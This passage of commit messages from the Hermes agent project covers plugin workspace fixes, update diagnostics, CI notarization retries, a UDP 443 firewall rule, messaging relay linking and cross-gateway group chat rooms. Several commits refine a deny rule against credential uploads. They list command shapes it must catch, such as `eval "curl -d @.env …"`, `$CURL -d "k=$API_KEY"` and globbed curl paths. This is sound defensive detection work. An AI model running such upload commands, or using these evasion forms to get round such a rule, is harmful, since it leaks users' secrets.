unselected extras and every dependency group but kept `tool.uv.sources`
alternatives qualified by them, so uv refused the whole workspace ("Source
entry for `x` only applies to extra `dev`, but the `dev` extra does not
exist") for a plugin that syncs on main. Alternatives scoped to a group or
to an extra this sync does not install are now dropped, in both the table
and list forms; a package keeps its key while any alternative remains, and
unqualified runtime sources always stay.
PM renames a virtual plugin member (no build backend) to hermes-plugin-<key>
so two profiles can enable the same plugin. Its own `name[extra]` references in
dependencies and optional-dependencies kept the declared name, so uv resolved
them as a different package: a lock failure (and an update that disables the
plugin) when no index serves the name, or someone else's package installed in
place of the extra when one does.

Rename those references (canonicalize_name match; extras, specifiers and
markers kept as written) and `tool.uv.conflicts` package entries along with the
project, before the extras pass, so its self-reference closure reads the names
uv sees.
The self-reference install check globbed the POSIX `lib/python*/site-packages`
layout, so on Windows it found nothing. `pm.environments.site_packages` answers
both layouts.
The "Update didn't finish / Backend update failed." box offered only Try
again and Not now. Users had no way to see what went wrong, and support
had to talk them through running `hermes debug share --nous` in a
terminal (Windows users in PowerShell) to get a link.

The box now has:
- Technical details: the updater output the progress view was tailing
  (now kept to 300 lines instead of 50), scrollable and copyable.
- Send diagnostics: explicit per-upload consent inline, then the same
  backend-side diagnostics.share_nous upload `hermes debug share --nous`
  runs (the backend bundles its own update.log and hand-off log), with
  the shown output attached as update-output.log. The private link and
  Copy button render in the same box.

The send-diagnostics store gains `inline` (the requesting surface renders
the flow, so the global modal stays closed) and `extraFiles`. Closing the
box or pressing Try again drops a pending inline report.
Live pass findings: the nowrap link row (min-width:auto) widened the 384px
dialog's grid track to 698px and clipped the box (min-w-0 on the shared row,
which also guards the standalone modal); the output opened scrolled to the top,
hiding the failing tail line; the privacy notice's last sentence sat behind a
scroll box before Upload; 'the link below' rendered under the link.
Second live pass: at 680px tall the inline consent's Upload sat below the
85vh-capped dialog because the overlay's body was overflow-hidden. The error
phase now lets the body scroll (other phases keep overflow-hidden). The inline
upload-error state gains Retry instead of forcing a close and reopen.
In a short window the consent block (and its Upload) opened below the fold
with only a thin scroll thumb as a hint; scroll it into view when the report
phase changes.
It floated over the text inside the scroll box; it now sits on its own row
above the output.
In a short window the body starts scrolling when consent opens; its gutter
narrows the output, which re-wraps and drops off its tail. Re-pin the tail on
each report phase change.
Cleanup ran only through the box's close and retry handlers, so switching
the update target (macOS Check for Updates while a backend failure is shown)
kept the old report: its upload could finish with no visible link and a later
client failure could show the backend report. The box now drops its report
on unmount and is keyed by target, which covers close, retry and the switch.
Start builds the Webapp bundle (minutes on a first build), registers the
sign-in callback with the Portal, then saves the config and restarts the
gateway, all inside one request. Nothing reported progress meanwhile, so
the Desktop pane looked stuck, and a pane reopened during the build
offered Start again.

/api/webapp-access/status now carries `start_progress`: the step of the
Start in flight for the requested profile's gateway (`building`,
`registering`, `restarting`) and when it began, or null when none runs.
It is keyed by gateway, so a profile with a gateway of its own never
shows another gateway's Start.

The native Desktop test client can serve more than one profile home, with
a per-profile grant, as one multiplexing gateway does.
Start's request answers only after the bundle build (minutes on a first
build), the Portal registration and the gateway restart, so the pane sat
on "Starting" with nothing else changing and looked stuck.

While a Start runs the pane now says what it is doing (building the web
app, setting up Nous sign-in, restarting the gateway) and how long it
has run, re-reading the backend's `start_progress` once a second while
the window is viewed. A pane opened during a Start (another window's, or
this one reopened mid-build) shows it running and keeps the controls
locked instead of offering Start again. A backend without
`start_progress` gets a general step and is not polled for one.

Copy in all nine locales; the desktop guide notes the progress.
A plugin whose selected extra names the core package (honcho-style
`hermes-agent[x] @ git+...`) made uv refuse the generated plugin workspace:
"`hermes-agent` is included as a workspace member, but is missing an entry
in `tool.uv.sources`". The lock failed and the update evicted the plugin.

The generated root now carries `<core name> = { workspace = true }` in its
`tool.uv.sources`. uv applies root sources to every member (renamed virtual
members and any spelling of the name included), and a source beats an inline
URL, so the requested core extra installs from this checkout.

Salvaged from #147311: the dependency-group stripping and unselected-extra
pruning from that PR are already on main (#148199, #148215), and runtime
`[project].dependencies` naming hermes-agent are already filtered by
`applicable_requirements`, so only the selected-extra case remained. The
per-member binding is replaced by one root-level source.
Independent review (P2): binding the core name to `{ workspace = true }` makes uv
ignore the specifier, so a selected extra `hermes-agent[other]>=2` installed against
Hermes 1. Main's runtime path had the same hole: `applicable_requirements` drops a
runtime `hermes-agent>=2` without checking it.

Every applicable requirement naming hermes-agent (runtime dependencies, manifest
pip_dependencies, and the extras this generation installs, markers evaluated on the
target interpreter) is now checked against the version identity requires_hermes reads
(the committed pyproject version is a 0.0.0 placeholder). A mismatch raises
ResolutionConflict naming the plugin, the requirement and the running version, which
update-time eviction treats as a verdict on the plugin and parks it.
Round-2 review P2 + P3 #1. A plugin's applicable hermes-agent requirement that
excludes the running Hermes raised ResolutionConflict inside the workspace build,
so `hermes update` parked it in plugins.disabled with a `tried` fingerprint that
never includes the running version: after Hermes reached a fitting release
nothing retried it. A plain `sync_venv(explicit=True)` failed outright.

The check is now one gate with requires_hermes (pm.workspace.hermes_fit_error):
member selection and update eviction leave the plugin out of this build with
config untouched (it rejoins once Hermes fits, because the member set moves the
stamp), admission refuses it (pm.publication.validate_manifest), and the loader
skips it. It runs for every plugin, including one whose only dependency is
hermes-agent in plugin.yaml, which was never checked.
Round-2 review P3 #2: the two version gates compare differently. Document that a
hermes-agent requirement uses PEP 440 with its marker, requires_hermes compares
major.minor.patch and passes what it cannot parse, and that a misfit of either
sits out and is refused at enable/install instead of being disabled.
Round-3 P2-1 (startup cost): core_requirement_error read running_hermes_version(),
a git subprocess walk, before checking whether the plugin declares any applicable
hermes-agent requirement, and the loader asks it for every plugin. Collect the
applicable requirements first and return before the read when there are none, so
discovery with no such requirement spawns no git process, as on main.
Round-3 P2-2 (admission blast radius): candidate_members and StagedPlugin validated
every selected plugin, and validate_manifest refuses a plugin whose hermes-agent
requirement misses the running Hermes, so one already-enabled misfit refused
enabling, disabling or updating any other plugin. The new check now applies only
to plugins the change newly enables or stages; an enabled misfit sits out of the
members as build_member_dirs leaves it out. requires_hermes keeps main's refusal.
Round-3 P3 (marker environment): the gate evaluated requirement markers with
default_environment() of the calling process, while the build's own marker
evaluation asks the generation's interpreter (_target_environment), because PM
can run under a bootstrap Python. A build now passes its interpreter, so it
leaves out exactly what the loader (running in the generation) skips. Callers
outside a build keep this process's markers: no probe at loader start.
test_live_pinned_cuda_download_pause_resume_and_execute downloads the real
pinned llama.cpp engine and the locked Python toolchain on purpose (only
the Windows arm64 integration lane runs it), so it is an allow_network
test like the other PM downloads. Under the fence the toolchain fetch
from hermes-assets / python-build-standalone was refused.
test_mirrors seeds its local PyPI and npm mirrors with S.prefetch, an
in-process download of the pinned wheels / npm tarball from the public
registries (the update under test then reaches only the mirror). The
fence refused files.pythonhosted.org and registry.npmjs.org; mark both
tests allow_network like the other deliberate PM downloads.
The 2026-11-03 canary (desktop run 41591721476) signed both macOS
builds, and Apple accepted the arm64 submission, but both builds failed
in this hook on network errors it does not retry:

- arm64: `stapler staple` exited 68 with NSURLErrorDomain Code=-1005
  "The network connection was lost." from api.apple-cloudkit.com. Only
  the exit-65 missing-ticket case was retried.
- x64: `notarytool wait` timed out (Code=-1001) at 07:22, 07:24, 07:27
  and 07:38 UTC. Resuming stopped after three pauses (15, 30 and 60 s),
  although the notarization budget is four hours.

Treat NSURLError timeouts, lost connections and unreachable hosts
(-1001, -1003, -1004, -1005, -1006, -1009) as lost contact in both
loops. Keep resuming the same submission, and retrying the staple, with
pauses capped at 120 s until the next pause would cross the existing
four-hour budget. A ticket that has not propagated yet keeps its own
five retries. Verdicts, authentication failures and other stapler
errors still fail at once.
The pane's new strings (settings.gateway.webAccess.startElapsed and startStages.*) were missing from the generated locales/_keys.desktop.json, which scripts/i18n-keys.test.mjs checks against the English catalog. Regenerated with npm run i18n:keys.
stapler fetches the notarization ticket from api.apple-cloudkit.com
over HTTP/3, and on GitHub's hosted macOS runners those QUIC
connections drop. The staple exits 68 with NSURLErrorDomain -1005
about 7 s in (actions/runner-images#14924, reproduced by GitHub).

The 2026-11-03 arm64 canary failed this way nine seconds after Apple
had created the ticket record. In this workflow's history the error hit
0 of 119 accepted builds before 2026-10-19 and 8 of 28 since, on both
arches. It also failed the verify step's `stapler validate` once.

Before Build and package, load a rule that rejects outbound UDP 443
into a com.apple sub-anchor. The runner's default ruleset already
evaluates com.apple/*, so it stays as it is. stapler then falls back to
TCP for the notarize hook and for the verify step.

Probe run 41655949959 used three macos-15 and three macos-15-intel
machines. Each stapled a copy of Firefox.app 21 times without the rule,
then 20 times with it.

- Without the rule, 60/63 staples worked on arm64 and 32/63 on Intel.
  Every failure was Error 68 with -1005, after about 7 s.
- With the rule, 120/120 worked.
- Every machine sent UDP 443 to Apple's 17.x addresses, and the rule
  rejected 60-85 packets per job.
- The main ruleset was unchanged on all six machines.
The rule matched -d/-F/-T anywhere in the command, so awk -F "$API_KEY"
and cut -d "$SECRET_SEP" were flagged as credential uploads and hard-blocked
in cron, -q and unattended deny modes. A match now counts only when a curl
or wget word precedes the flag inside the same simple command, bounded with
the quote-aware shell parser approvals.deny uses. Wrappers (env, sudo),
programs that run curl (xargs, ssh, watch) and bash -c payloads stay
flagged; rule order and the approval key are unchanged.
The ownership check added in this branch only counted an upload flag when a
literal curl/wget word preceded it, so $CURL -d "k=$API_KEY", ${CURL} -F,
c=curl; $c -F, "$(which curl)" -T and `which curl` -F stopped being flagged
(they were flagged on main). A word that starts with a parameter expansion,
command substitution or backtick may run curl, so it now counts as an owner.
Literal delimiter commands (awk -F, cut -d, sort -t) stay unflagged.

Reported in review by @Enough1122.
The owner check only looked for a curl/wget word before the flag, so
`eval "curl -d @.env …"`, `ssh host "curl …"`, `su -c "curl …"`,
`sh -c "curl …"` and `script -qc "curl …"` were flagged on main but not on
this branch: the flag sits inside a quoted word another program runs as a
command. A flag inside a word now counts as possibly curl-owned.
Same behaviour as the previous commit (its tests pass unchanged), in fewer
lines: each simple command contributes one range from its first word that
may run curl/wget to its end, plus the inside of quoted words; the ranges
are merged once per detection variant and each flag is a bisect lookup.
The per-flag loop over every simple command made a 128 KB line of chained
`cut -d` commands take ~4.3 s; this takes ~2.2 s and grows linearly.
The previous commit treated any word containing "=" as an assignment, so
`c${suffix:=url} -d @.env …` (which runs curl when suffix is unset) was no
longer flagged. Use the existing NAME=value assignment pattern instead, as
the earlier version of this check did.
Two cases main flagged that this branch had stopped flagging:
- a redirection before curl (`ssh host >/dev/null curl -d @.env …`,
  `eval >/dev/null "curl …"`) ended the owner scan, since the redirection
  reads as an empty word. Skip it the way _iter_shell_command_word_spans does.
- a glob in the command name (`/usr/bin/cur[l]`, `wge*`) may match curl/wget.
Moves the remaining GitHub-hosted macOS (arm64) and Windows x64 jobs to
Blacksmith now that the runner-side issues behind f1b290e773 and
3ba2b0787e are fixed: pm-bundle and desktop bundled-release darwin-arm64
builds, desktop bundle smokes (macOS arm64, Windows x64 MSIX) and the
install/update E2E macOS and Windows legs (with Blacksmith checkout).

macOS Intel legs stay on macos-15-intel (Blacksmith has no Intel macOS
runners); Windows arm64 stays on windows-latest-32-arm-core.
Branch verification on Blacksmith (CI, PM Bundle, Install & Update E2E
route=all, desktop bundle re-smokes) showed every Windows x64 install/
update E2E leg (0/53, vs 40/53 on windows-latest-32-core) and the Windows
x64 MSIX smoke failing on runner-session issues: empty screen recordings,
installer/app windows never seen, and 'Access is denied' launching the
installed MSIX. Put those jobs back on windows-latest-32-core.

Also keep the jobs a branch run cannot exercise where they were: the
desktop-bundled-release darwin-arm64 build (default-branch dispatch only)
and the macOS packaged-bundle E2E (needs signed bundle manifests).

What stays on Blacksmith, all green on the branch: pm-bundle darwin-arm64,
the macOS arm64 desktop smoke, and the macOS install/update source and
Hermes-Setup.dmg legs.
connect() called ctypes.util.find_library("opus") on the gateway loop
whenever opus was not loaded. On Linux find_library runs ldconfig, gcc
and ld subprocesses, and on a host without libopus (the Hermes Cloud
image) it never succeeds, so every Discord connect and reconnect
repeated that blocking work on the loop. On a memory-starved 2 GB
instance both loop-liveness watchdog dumps that restarted the gateway
had the loop thread inside this probe.

Move the opus helpers into adapter_opus.py and probe at most once per
process under a lock; connect() runs it with asyncio.to_thread. A libopus
installed later needs a restart, and the "Opus codec not found" warning
now logs once instead of on every reconnect.

The per-connect probe came in with 0ff1b4ade2 (#1299).
tests/AGENTS.md requires wall-clock bounds of at least 2 s so a busy
runner cannot fail correct code. Also assert the probe actually started
before releasing it.
The background MCP health checker probed every enabled HTTP server every
30 minutes with its own fresh connect. For a server hosted by a local app
(Unreal Editor's built-in MCP server answers only while the editor runs)
that meant a daily "failed its health check" toast whenever the app was
closed, and the probe itself raced startup connects into false failures
(#133155), evicted single-session hosts' live session (#89576) and could
open an OAuth consent tab unattended (#142406).

The sweep now reads mcp.servers.status, the backend's cached runtime view,
and never connects. The status row gains a needs_auth boolean (parked on a
rejected OAuth credential) so the sign-in nudge survives without putting
error text on the wire. Local servers (stdio, or a loopback URL) are never
toasted, extending the existing stdio exemption: the backend already
re-probes a parked server every 5 minutes, so tools return once the app is
open. Remote failures and needs-auth still toast as before.

Fixes #133155, fixes #142406
Refs #89576 (the background-sweep half; the MCP page probe is #89581)
A server that connected, dropped, and parked after exhausting reconnects
records no connect error, so get_mcp_status reported it as "configured" and
the Desktop health sweep (now a read of this status) went quiet for a real
remote outage. A non-live server with a park reason is "failed"; never-tried
servers stay "configured". Found by review on #148395.
The sweep read config through the active registry connection but routed
mcp.servers.status by profile name alone, so with a remote gateway active
and a local profile of the same name, status came from the wrong backend:
a healthy local server could hide a remote outage, or a failing one raise a
false warning. Capture (connection, profile) once per sweep, send both reads
there (requestGatewayForAgent), key transition memory and snoozes by that
source (the local pool keeps the bare profile key), and re-arm when the
active connection changes. Found by review on #148395.
On a Hermes Cloud instance with Team Gateway, every direct messaging adapter is
switched off at gateway start (config_env._relay) and the connector's shared bot
is the only way Telegram, Discord and Slack reach the agent. The Channels page
and the Desktop messaging page still offered "Create with QR" and bot-token
setup, which make a bot the relay never runs: users finished setup, restarted,
and the bot never answered (#141546, #138101).

The instance now mints the connector's one-time `/link <code>` itself:

- gateway/relay/link.py calls /manage/link, /manage/link/state,
  /manage/link-status and /manage/unlink with the per-gateway bearer, and
  builds the shared bot's DM link from GATEWAY_RELAY_BOT_IDS.
- The per-gateway secret lives only in the gateway process, so the gateway
  answers a new `relay-link` control-socket verb and the dashboard routes
  (/api/messaging/relay*) go through it.
- /api/messaging/platforms reports relay_fronted / relay_exclusive per platform.
- Dashboard Channels and Desktop Messaging show a Team Gateway card (link
  button, QR of the bot, the exact message to send, linked accounts with
  Unlink) and hide the direct setup that cannot work under an exclusive relay.
- Desktop: key the link panel by platform so a pending code never follows the
  user to another platform's page.
- A code that goes inactive before it expires was redeemed: a re-link from an
  already-linked account no longer reads as "expired".
- Polling stops after 5 consecutive errors or at expiry and shows the error.
- Connector 401/403/409 map to named, plain-language errors; 5xx/408/429 are
  retryable (503); unlink answers {unlinked: true}; a silent gateway is worded
  for stopped, too-old and timed-out alike.
Closing the code (setLink(null)) re-ran the poll effect and set its cancelled
flag before the account reload returned, so a successful link never showed the
confirmation.
A refused link (e.g. 409 platform_not_fronted, 503 gateway_not_running) reached the card as
"Error invoking remote method 'hermes:api': Error: 409: {"detail":{...}}". Unwrap the IPC
prefix and the router's {detail:{message}} body before showing it.
- A platform the relay switches off but the shared bot does not carry (Slack,
  Matrix outside GATEWAY_RELAY_PLATFORMS) now reads 'Managed by Team Gateway'
  with the toggle disabled and the opt-out explained, matching the dashboard
  (#141175); before, its Enable toggle saved and reverted at every restart.
- The link calls carry the settings profile so a profile pointed at another
  host links against that host.
- On a Portal-managed agent (connector /manage/access/list answers
  managedBy: portal) a code minted with the gateway bearer carries no owner, so
  its redeem binds no account (gateway-gateway scopeService: a managed agent
  takes only the Portal setting). The gateway now refuses to mint there
  (managed_by_portal) and the Channels card on both surfaces lists the linked
  accounts read-only with a 'Link accounts in Nous Portal' button.
- Success is a new platformUserId in the refreshed list, never an 'inactive'
  code before expiry: 'inactive' also means used by an already-linked account
  or unknown. That case now shows a neutral note; expiry still says expired.
- Desktop keys the link card by connection + profile + platform, so a code,
  poll or account list never carries over to another backend.
- The account list no longer disappears when only the access-list question
  fails (managed_by 'unknown'); minting still re-asks and refuses.
- Linking snapshots the linked accounts right before minting, so a failed
  earlier load cannot make every existing account read as newly linked.
- The Portal button follows the instance's Portal (operator override, stored
  login, default) through the scoped resolver instead of raw os.environ.
- Managed copy no longer asks the user to link here.
- Tests: the stand-in connector checks the bearer on the access route and
  answers 404 like a connector without it; the managed test also rejects the
  'Link another' button.
A relaunch restores the Bots pane before the gateway socket opens. The
gateway Group Chat list fetched groups.capabilities at mount, the request
was refused ("Hermes gateway is not connected"), and nothing re-listed when
the socket opened, so the refusal stayed as a role=alert line under
"Refresh gateway groups" until the user clicked it. Seen with one or two
connections.

Re-list on every gateway state change and only surface a list failure
from an open socket.
Since the gateway-owned room driver landed, New Group Chat on any current
gateway offered only the active connection's bots (#141178 was closed by
hiding the others), so a group with one bot on this device and one on
another gateway could not be made at all (#142248).

The picker now offers every reachable bot from every registered connection,
each with a device badge. A selection on the active connection still
creates the gateway-owned room (unchanged control path). A selection that
spans connections creates a Desktop-driven room on the existing round
engine: each member's turn runs on its own gateway through its own route,
and the dialog says plainly that the room runs while this Desktop is open.
Such a room opens in that view on a gateway-owned install instead of the
"Start gateway group" screen. A selection made only of bots on ONE other
connection has no owner reachable from here, so Create stays disabled with
a note to add a local bot or switch connections.

Gateway-owned rooms with peer members are not reachable today: the room
authority reports room_link disabled (canonical_driver_required), so the
Desktop-driven room is the working path until RoomLink lands in Desktop.

Contract change: canonical-group-capability-gates.test.tsx "canonical
creation offers only members on the current connection" (72166e6196, the
picker-only #141178 fix) now asserts the other connection's bot IS offered;
the contradictory-route row stays hidden.

Tests: cross-gateway-group-creation.test.tsx (4 of 5 red on base; the
single-connection control passes on both).
One table-free decision (groupCreationEngine: gateway / desktop / elsewhere)
and the Desktop-driven room write move out of CreateGroupChatDialog, keeping
the dialog and its create() under the complexity ratchet. No behaviour change.
A Desktop-driven room seating a bot on this device (the gateway that owns
local sessions) never got that member's turn to run: "Could not check
default's group session (not_found) — not starting a new one", then, once
past that, "Canonical gateway does not support explicit session options:
room_plumbing". Members on a `hermes serve` connection worked, so a mixed
room answered from the other machine only.

- group-turns.ts: the owner answers a missing session with a 4001 refusal
  whose reason is `not_found` (gateway/session_controls.py), where a serve
  socket answers 4007. isSessionAbsentError accepts both as "mint a fresh
  member session"; every other refusal still fails closed.
- canonical-protocol.ts: `room_plumbing` is the serve socket's flag; the
  owner's create contract has no such field and keys the same behaviour on
  hidden + follow_profile_config, which still ride. Drop it there instead of
  refusing the whole create.

Tests: group-turns-gateway-owned.test.ts (not_found mints, session_busy
still fails closed; the first is red on base) and a canonical-create-options
case for the member-session frame (red on base). Live: e2e/cross-gateway-group.spec.ts.
With "@all" (or "@everyone") every member stays addressed for the whole
drive, so a member that answered and then, in the next round, passed on a
teammate's reply was nudged and flagged "explicitly addressed member passed
twice" (#129443's noncompliance row). A two-machine room showed that
error on the local bot right after both bots had answered.

The address is owed only until the member answers: the nudge and the
noncompliance row now apply while the member has no entry in the thread
since the user's latest message. A member that never answers is still
nudged and flagged exactly as before.

Test: group-rounds.addressed.test.ts "@everyone: a member that answered is
not nudged or flagged…" (red on base); the three #129443 cases still pass.
e2e/cross-gateway-group.spec.ts: This device (Electron-managed, multiplexing
gateway with the room driver on) plus a real second `hermes serve` under its
own HOME as "Homelab", one mock inference server. New Group Chat must offer
Homelab's bot with a device badge, create the mixed room with the
"Runs while this Desktop is open" note, and an @all send scripted per member
must land both replies in the room log, render, and each reply must exist in
its own gateway's state.db only; the room settles with no member error. A
control test keeps a this-device-only selection on the gateway-owned room.
CROSS_GATEWAY_LEG=main records the picker (repro: Homelab's bot absent).
Greptile: "Earlier answers hide unanswered follow-ups". A second @builder
question in the same thread is queued without an epoch bump, so the first
answer can land after it; the positional "answered since the last user
entry" scan then counted that late answer for the follow-up, and a pass on
the follow-up got neither the nudge nor the noncompliance notice.

A turn whose delta carries a user entry it never saw now always owes the
addressed answer; the positional scan only decides turns that saw no new
user entry (a pass on a teammate's reply after answering).
Greptile: "Membership edits hide the room". Who drives a non-canonical room
was re-derived from its live members on every render, so removing the last
remote bot from a 2-local + 1-remote room sent it to GroupExecutionGate
("Start gateway group", history hidden; starting forked a new room).

The room record now carries `engine: 'desktop'`: stamped at creation when the
selection spans connections, and by either membership door when the room
spans machines before or after the edit (so unstamped older rooms are pinned
at their first edit). Storage hydration and the ui_meta projection keep the
mark (sticky union), so a reload or a second Desktop does not drop it. The
membership check remains only for records without the field.
Independent review P1 (remote member removal does not take). The room-side
picker rewrote groups[] only for local bots, while member resolution seats
any roster row, remote ones included, whose groups[] names the room. The
removed Homelab bot was re-seated by its own metadata, took the next @all
turn and the header kept saying 3 bots. Write the membership patch for
every added or removed row; saveBotMeta routes a remote row to its owner,
as the per-Bot Manage groups door already does.
Independent review P2 (engine: 'desktop' is never written to local
storage). updateGroupChat's durable map, durableGroupChatRooms (the
post-merge rewrite) and disband's rewrite of the remaining rooms all
rebuilt each room field by field without `engine`, so hydration read a
field no writer stored and an edited all-local room fell back to the
membership check whenever the ui_meta mirror had not landed. Spread
stickyGroupEngine(room) in all three. The hydration test now seeds
storage through the real writer instead of by hand, and a new test pins
each writer.
Independent review P3 (Manage members offers route-disagreeing rows). The
room-side picker listed every non-ghost roster row, so a row whose route
names another connection, which New Group Chat hides on purpose, could be
seated in a Desktop-driven room through this door. Add candidates now come
from seatableGroupBots; current members stay listed.
Independent review P3 (New Group Chat enabled when every seatable bot is on
one other connection). Every selection then only drew the "these bots all
live on <connection>" note and a dead Create button. The New… menu item is
now disabled in that case and carries the same note.
Independent review P3 (room_plumbing dropped in the generic canonical
adapter). prepareCreate destructured the flag away, so any future caller's
room_plumbing would vanish without notice. The plugin cannot tell a
canonical route from a serve socket at the call site (that is the
client's native_dial, not exposed to plugins), so the adapter now
translates the flag into what the owner keys the same behaviour on:
hidden plus follow_profile_config. The member-session create this PR adds
sends the same frame as before; a caller sending the flag alone now gets a
hidden, profile-following row instead of a visible one.
Independent review P3: the gateway answers not_found for a session the
actor may not read (session_local_title.py folds permission_denied into
it). Say so on the predicate, and why treating it as absent is safe.
A cross-machine room's transcript named each line's speaker from the seated
members only. Once the Homelab bot was removed from the room (or before its
source painted after a relaunch), its lines fell back to a bare
{ name: 'default' } row and read as this device's "Hermes", while the
Homelab backend reports no title (its roster row reads "Homelab").

groupTranscriptSpeaker resolves the speaker owner-qualified: seated member,
else the live roster row from the line's own source, else a row carrying
that source, so a remote `default` never borrows the local identity.
Delta re-review P2: unchecking a remote member whose machine is unreachable
saved without error, landed only locally, and that machine's unchanged
ui_meta re-seated the member on reconnect.

- Manage members: a seated member on another machine that is offline (or a
  ghost row) cannot be unchecked; the row says "<machine> is offline -
  reconnect to remove <bot>" (every Bot Mode locale).
- setGroupChatMembers refuses before writing when a removed member is shown
  offline, writes other machines' rows first, and when one of them did not
  take the change ('failed' / 'unreachable') puts back every row it already
  wrote and fails before the room record changes, so membership stays the
  same on every machine.
- saveBotMeta still never throws: a routed row whose machine never answered
  the read now reports 'unreachable' instead of the older-gateway
  'unsupported' fallback; other callers keep treating it as non-fatal.
Delta re-review P3.1: serve's room_plumbing only skips stored runtime
overrides and does not imply hidden, so the canonical adapter leaves
`hidden` to the caller instead of forcing it.
Delta re-review P3.2: LegacyGroupChatWorkspace read $lastRoster.get() in
render without a subscription.
Same class as 4fb8d21 (Manage members), on the per-Bot "Manage groups"
door: toggling a room for a bot on another machine that is offline (or
does not answer) reported success, landed only in this Desktop's copy,
and that machine's unchanged ui_meta re-seated or dropped the bot again
on reconnect.

- setGroupMembership refuses before writing when the bot's machine is
  shown offline, and writes through writeMembershipChanges, so a remote
  write that does not land ('failed' / 'unreachable') puts the local
  groups[] back and fails before the room's stored seats change.
- Manage groups: for such a bot every room toggle, Create & join and
  Remove from all groups are disabled, with "<machine> is offline -
  reconnect to change <bot>'s groups" (every Bot Mode locale). The
  success toast now waits for the save and a failure shows its error.
Final review of #148418 (three P2s):

- A routed save whose read answered but whose profiles.configure then
  dropped or refused is 'failed', not 'unsupported'; only JSON-RPC
  method-not-found (-32601) is the older-gateway fallback. The pooled local
  backend keeps main's documented fallback. A removal can no longer
  "succeed" while the machine still names the room and re-seats the bot.
- Membership edits of one bot (connection + profile) run one at a time
  through a per-bot queue, and the compensation is an inverse delta (drop
  only the room this edit added / re-add only the room it removed) applied
  to the groups[] the bot's own backend holds at write time (saveBotMeta's
  new rebase hook, re-run on every CAS retry). An older failed Join A no
  longer erases a newer acknowledged Join B.
- Every undo's outcome is checked. When one does not land, the save fails
  with a distinct message naming the bot and the machine that may still
  hold the change (memberRollbackFailed, all 9 locales), and this window and
  the room record are re-read from that machine (or keep the change when it
  still does not answer) instead of claiming "Nothing was changed".
A gateway-owned room only knew WHO was working. member_activity now also
carries started_at (durable, from the driver task row) and, from the
process running the turn, the tool the member is in right now plus the
time of its last frame (progress_at), so the room can show
"builder · terminal · 1m20s" and tell a bot busy in a tool from one gone
quiet. driver_status also reports max_rounds so the room can say
"Round 2 of 3".

The progress map is in-process and bounded (512 tasks, LRU); a process
that did not run the turn simply omits tool/progress_at.
Gateway-owned rooms (and the Desktop-driven room's composer) now share
presentational parts (group-room-ui.tsx) with the main chat's look:
avatar + name + time transcript rows, the main composer's ring/fill with a
ghost attach and round send icon button (exported through the plugin SDK as
composerSurfaceRing / composerInputBacking / GHOST_ICON_BTN / PRIMARY_ICON_BTN),
and a header with ghost icon actions and app tooltips.

Per-member status chips (working + tool + elapsed, stalled after 120 s,
queued, replied / passed / failed with reason / cancelled / unavailable),
a typing row per working member, the round cycle footer (Round N of M,
settled, round/message limit, stopped), visible handoffs, Reply in thread,
pending actions named by the bot, a details side panel, and a live
working / failed / needs-you state plus member avatars on the Bots-list row.
All derived from the room log and groups.state (group-room-status.ts, pure).
The mock inference server learns E2E_TOOL(<handle>)[<tool>:<command>] (a
member's first completion calls a tool) and E2E_FAIL(<handle>) (HTTP 401),
and group-scripted completions honour holdFirstCompletionContaining.
group-room-native.spec.ts drives a three-bot gateway-owned room through
working (tool held), settled and failed states and screenshots each.
groups.state member_activity carried tool/progress_at (1cd4f83) only for the
legacy in-process room path: the map is fed by
tui_gateway.hosted_room_member_activity.project_room_member_activity, which
sees tui_gateway session frames. A gateway-owned (canonical) room runs its
member turns on the gateway's canonical local-session path, whose frames go
SessionAuthority.publish_execution -> the member's SessionEvents stream and
never reach that projection. So the room showed "scout is working... 6s" while
Scout sat in a terminal tool.

Live diagnosis (real Electron + multiplexed gateway, mock inference): one
process (`hermes_cli.main --profile default gateway run`) answered groups.state
(CanonicalHostedRoomService.status), ran the member turn
(mute_notification_reply False, so tool callbacks are wired), published
tool.start/tool.complete name=terminal for the hidden member session, and
answered HostedRoomAuthorityRPC.info for it every active poll. Not a process
split and not a mute gate: the frames just never reach the room's map.

Design: the member side reports, the owner side records, over the info poll
the room driver already makes during a turn (no new polling, and the member
never opens the room owner's database, as session_hosted_transport requires):

- SessionEvents keeps the running execution's open tool calls and last frame
  time, fed by publish_execution after its generation fence (late callbacks
  from another generation move nothing).
- HostedRoomAuthorityRPC.info adds `tool` (newest open call, absent between
  tools) and `progress_at` for its current started hosted task. The same
  answer travels the private owner socket for another local profile's member.
- The driver hands every info answer to a new task_progress callback beside
  pending_action; HostedRoomService records it in the existing bounded map
  only when the info names the same task, and forgets the entry when the
  task's terminal is published. status() merges it as before.

The 1cd4f83 in-process feed stays: the legacy HostedRoomServerRPC path runs
turns in the process answering groups.state, its frames reach the projection
directly, and its info carries no progress fields, so the two feeds never
compete. No wire contract changes: RoomMemberActivity already declares
tool/progress_at and the hosted info verb is internal to the private socket.
All four tests failed on main: New Group Chat now builds a gateway-owned room
(composer "Group message"), so the Desktop-driven room view and its
localStorage log never appeared. Every assertion here is about that engine
(thread replies, watermarked delta prompts, stranded-turn harvest on the
five-second observation timer, renderer prompt.submit refusals, Stop clearing
the renderer queue), so the tests keep driving it; no assertion changed.

- Answer only the groups.capabilities probe as a gateway that does not own
  rooms ({driver:false, persistent_process:false}); that is the single route by
  which the current app opens a Desktop-driven room. Turns, member sessions and
  inference still run through the real backend; createRoom asserts the probe
  was answered and the legacy composer appeared.
- Give the sandbox .env the provider key so the bots' member turns are not
  refused ("No API key for custom provider 'Mock'").
- Wait for both bots' birth kickoffs before building the room: a late birth
  foregrounds its Bot Chat over the room tab.

Needs the preceding commit (cherry-picked from 2b2b1f5c69f): without it the
local gateway answers a missing member session 4001 not_found and refuses
room_plumbing, so the first member turn never starts and the spec hangs.
The room read as loose parts: header, chips, messages and composer each
started on a different left edge, the round line floated mid-air between
the transcript and the composer, a stray chevron trailed the title, chips
were low-contrast with mixed grammar ("scout ·· 7s" next to "critic idle"),
and the Desktop-driven room still had a text "Back" button and its own
small grey message rows.

- One column: header, chips, transcript and composer share the transcript's
  max-w-3xl column, so every left edge lines up; a short room anchors on
  the composer like a chat thread instead of floating at the top.
- Messages: avatar + name + time over the body on one avatar column; member
  bodies render as bare markdown (the main thread's answer), the user's own
  body sits in the main thread's user bubble (fill + transcript hairline).
  Notices line up on the same edge.
- Header: bottom hairline, no trailing chevron (the title button toggles
  details on hover/click).
- Chips: soft control fill, 12px text, one grammar for every member:
  name · tool-or-status word · time ("scout · terminal · 7s", "critic · idle").
  The typing row reuses it ("scout · terminal · 7s").
- The round line is a slim status strip docked on the composer.
- Shorter placeholder: "Message the group — @mention to assign" (all locales).
- The Desktop-driven room view uses the same RoomHeader (icon back, ghost
